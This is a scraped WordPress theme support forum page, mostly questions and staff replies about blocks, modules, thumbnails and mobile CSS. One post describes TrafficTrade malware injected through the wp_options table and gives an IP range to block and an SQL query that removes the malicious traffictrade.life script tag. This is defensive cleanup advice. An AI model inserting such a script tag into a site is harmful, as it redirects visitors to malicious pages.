- ApiPractical example – How to add a new Block and Module
- Apitd_api_block::delete
- Apitd_api_block::update_key
- Apitd_api_block::update
- Apitd_api_block::add
- ApiAPI – Blocks – Introduction
- Apitd_api_thumb::update_key
- Apitd_api_thumb::update
- Apitd_api_thumb::add
- ApiAPI – Thumbnail – Introduction
- Apitd_api_category_top_posts_style::update_key
- Apitd_api_category_top_posts_style::update
- Apitd_api_category_top_posts_style::add
- ApiAPI – Category top section style – Introduction
- Apitd_api_module::update_key
- Apitd_api_module::update
- Apitd_api_module::add
- ApiAPI – Modules – Introduction
- ApiUsing the Theme API in plugins
- ApiThe Theme API
Forgot to include this article, also:
https://www.wordfence.com/blog/2017/08/traffictrade-malware/
attackers modify your
wp_optionstable to inject the malicious code into that table
What TrafficTrade Malware Does On Your Site
Once you have been infected with TrafficTrade, it injects Javascript onto your site that loads from the TrafficTrade.life domain. The actual script is very simple.
It redirects your visitors to a ‘trafficreceiver’ domain which then does further redirects to whichever campaign they are running. In the case of my test, you are redirected to a site that wants you to install a Chrome plugin – most likely malicious.
Seems this IP range would be useful to block:
79.110.128.0 – 79.110.135.255
<hr>
HOW TO CLEAN DBASE!
https://wpfixit.com/traffictrade-wordpress-infection/
REMOVE INFECTION SCRIPT FROM SITE
The goal here is to track down where the script we mentioned above exists and them remove all traces of it. The scanning we did in the previous step will likely show you what files on your site have this script but it will not show you where in the database it remains.
Run Search and Replace Using a Plugin
Our favorite search and replace plugin is Better Search Replace. Install and active this plugin to search and replace database content. You would simply run a search for the script above and replace it with an empty filed.
Run Search and Replace Using a SQL Query
To do this, you will need phpMyAdmin access. This access allows you entry to edit the database that your WordPress site runs on. Once you have this you will run the SQL Query below which will search the entire database for the bad script and remove it.
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0;
-
This reply was modified 9 years by
simchris.
Hello,
Many thank’s for your help.
I confirm you that i have folow this ghide:
https://forum.tagdiv.com/how-to-make-the-site-faster/
So, no problem for all the steps.
The only think that i don’t understend it’s the ID of the JS script.
So, when i make the test, on the section ” Eliminate render-blocking JavaScript and CSS in above-the-fold content” the first line it’s:
https://www.domain/wp-includes/js/jquery/jquery.js?ver=1.12.4
Then i try to identify the ID of this java scrip on the notepad where i save a list with the id for all the css and js but i realy don’t know what it’s that!
Please let me know if i can share here the list ?! and if you can told me what it’s the ID ?!
Many regards.
Hi …
I would like to know how to reduce the font of the block header 13 (Big title), since it is deconfiguring in the cell phone.
Thanks.
Couple suggestions
a) make sure running php 5.6 and up with opcache on
b) limit number of queries per page; meaning don’t “turn everything on…” — you might want to only have a max of two ‘modules’ on sidebar, turn off the related posts widget and use simpler plugin, do NOT use the mega menu with images/posts, don’t use ‘7 days most popular’ option, don’t use the fly out related ‘you might like…’
Every one of those blocks is a dbase set of queries, so if you have 50 queries per page, cutting that down to 20 speeds everything up.
Also, if you’re getting ‘pounded’ with local search, you might consider installing the Google search option for site search instead to not use your own dbase for content searches — some spiders/bots can whack your processes by searching your entire site links for content vs looking at sitemap only.
You can also optimize your wp-config.php file by putting in direct explicit URLs for your site, and plugins folder, content folder, so that system doesn’t need to ‘look those up’ for every path.
It all adds up!
Yes I know and understand that. Everything there is just fine and exceeds recommended values. I also have been trying to change a background color on a row and though it shows the color in background settings for row design the color does not change or display.
I had already previously found an issue with a particular block setting that was checked out by the team and it was indeed a bug and hopefully will soon be fixed.
Hi,
If the posts do not have a featured image set, there will be no thumbnail displayed in the blocks and modules. These thumbnails are created from the featured images
– https://forum.tagdiv.com/featured-image-or-video/
– https://forum.tagdiv.com/theme-thumbs/
Thanks
I understand the problem. You can run ACF on a module, but not on a block. Yes. But blocks are made out of 1 or more modules. They are entirely different elements altogether.
The blocks are found here: https://www.screencast.com/t/2w0Ytfvp but I cannot offer any solution in this regard as the plugin is not tested to work with our modules or blocks. I recommend hiring a freelancer to help out with the code needed.
Thank you!
Hello,
I try to make my web site faster because now i have a low score: 55/65 on google page speed test.
So, my problem it’s on ” Remove render blocking css/js ”
I realy don’t know what it is my mistake. I will explain you step by step what i have do :
1: I have install yous plugin: TagDiv SpeedBooster
2: I have add on function.php the your specific code.
3: I have extract all id for all the css and js from top page.
4: I have remove the code from functions.php
5: I have test the page and i have identify the ID of the JS script. for example the first line it’s:
https://www.domain/wp-includes/js/jquery/jquery.js?ver=1.12.4 then, on the file td-speed-booster.php i have added this code: $this->move_js_to_footer(‘jquery ‘);
This is corect ?! I have doutes that the code that i have add it’s corect.
I realy don’t know exaxt what ID i must identify in my list because the id that i have add nothing happened.
many regards for your help.
Hi Bogdan, I’ve tried various things but it definitely seems like once the module is registered as a block in td_config.php and used on a page inside visual composer it loses the ability to properly select the post meta ACF field values.
I use ACF inside single post templates and all works fine, I used ACF in category view with a custom registered module and all works fine, it’s just when the same module is registered as a VC Block, all ACF values are lost.
Any ideas?
Matt
I have tried both ways and it doesn’t work.
My homepage is: https://test.theblackpoolilluminations.info/
and I changed the header block to sort by modified as per the post, updated this post:
https://test.theblackpoolilluminations.info/about/the-lights/alices-garden-tableau/
and it doesn’t feature – help!
Hi,
The slider will display the featured image of the posts that are in the slide. Please set featured images for your posts
– https://forum.tagdiv.com/featured-image-or-video/
The theme will also create thumbnails from these featured images, that will be used on blocks and grids and many other elements on the website
– https://forum.tagdiv.com/theme-thumbs/
– https://forum.tagdiv.com/thumbnails-vs-featured-image-size/
Thanks
Good afternoon,
I need your help. I have a website “correiodoporto.com” in which I use your Newspaper 6 theme with the visual composer plugin.
It was working fine and I was very pleased but now when I enter the session “Paginas” -> HomePage -> the visual composer does not open the layout of the site where you can enter blocks.
Always loading loading.
I urgently need to insert a new block and I can not.
Image:http://www.correiodoporto.pt/wp-content/uploads/Captura-de-ecrã-2017-08-16-às-20.13.23.png

Thank you
Helder Miranda
Hi,
I was wondering how I can customize how ours site looks from a mobile phone.
Is there a way to remove all sidebars from mobile? Can you show me how?
Also is there a way to exclude certain blocks from mobile site? but still have it on desktop version?
Thanks so much!! YOUR THEME IS AMAZING!!!!!!!!!
Any suggestions/tutorials on how to optimize the theme for mobile, like having less things to load (blocks, small picture sizes, any other elements)? Thanks!
Hi,
The plugin TagDiv composer doesn’t work with my wordpress 2.2.2. The rest api is not include with this version.
So, when I want to place the block grid, there is a circle loading. The block doesn’t load.
There is an other solution to use this plugin with wordpress 2.2.2 ? Or should I use Virtual Composer ?
Thank you
Mélodie
Hi,
The plugin TagDiv composer doesn’t work with my wordpress 2.2.2. The rest api is not include with this version.
So, when I want to place the block grid, there is a circle loading. The block doesn’t load.
There is an other solution to use this plugin with wordpress 2.2.2 ? Or should I use Virtual Composer ?
Thank you
Mélodie
Hello Cosmic,
Try to regenerate your thumbnails using the Force Regenerate or Thumbnail Regenerate. You should check the following useful guide here -> https://forum.tagdiv.com/thumbnails-fix-strange-looking-images-on-blocks/
If is not what you mean, please provide more details so I will be able to provide a more accurate response. Your website URL and some useful images could be useful for our understanding.
Thanks for your understanding!
Hi,
That solution works only for the post page. It will not work on modules. On blocks and modules it may not be so easy to do this. If you want to achieve this, maybe you can modify the code and adapt the theme to display multiple authors on modules.
But this may not be an easy task, the modules are complex elements.
Thanks
I like the new pagebuilder very much, It was only a suggestion.
¿Maybe a new block with Social Buttons?
Hello,
Thank you for your appreciation!
1) Please check the block settings: https://forum.tagdiv.com/block-settings-guide/ and make sure the blocks have posts to show.
2) The latest articles section cannot be moved unfortunately. You can remove it by changing the page template: https://forum.tagdiv.com/page-templates-2/ and then simply create a block named latest articles placing it wherever you want on the page.
3) The same block settings guide will help you with the settings.
Thank you!
Hi,
Sorry about that, the code I gave you works only for that particular menu item. Please remove it an enter this one, it will provide the styling for all then menu items
– https://www.screencast.com/t/KZS51uK7zfok
– https://www.screencast.com/t/rEsdfQSLgG
#menu-shop-menu-1 .menu-item li a {
padding: 7px 30px;
font-size: 14px;
line-height: 20px;
color: #111;
display: block;
position: relative;
text-transform: uppercase;
}
#menu-shop-menu-1 .menu-item li a:hover {
color: #ffac99!important;
}
#menu-shop-menu-1 .menu-item ul {
padding: 15px 0;
}
Thanks
Hi,
If you mean the category tags that are displayed on the modules, check if they are enabled in the Theme panel->Block settings
– https://www.screencast.com/t/ejyJwGXlNIjC
– https://www.screencast.com/t/qSaNIrJrO091
The primary category simply controls what category tag will be displayed, in case the post has multiple categories and you want to display a particular category as a tag on modules
– https://forum.tagdiv.com/primary-category/
Thanks
Hello NYSN,
Unfortunately, our theme does not have any such an option for it, sorry! You should try using the 3 column layout and use the Widgetised Sidebar for left and right side and in the middle, you can use any block you want, like this -> https://www.screencast.com/t/jvl6e4Os
Thanks for the message!
Hi,
You could maybe try a code like this, to display the images more centered
– https://www.screencast.com/t/VDvSPDGHUEEp
Enter the code in Theme panel->Mobile theme->Custom CSS and test it and see if it works properly for you
.td_block_big_grid_mob_1 .td_module_mob_2 img {
position: relative;
top: -100px;
}
Thanks
Hi,
You should add a p tag after the class like so:
.td_block_text_with_title p{
font-size: 15px;
line-height:21px!important;
}
Thanks.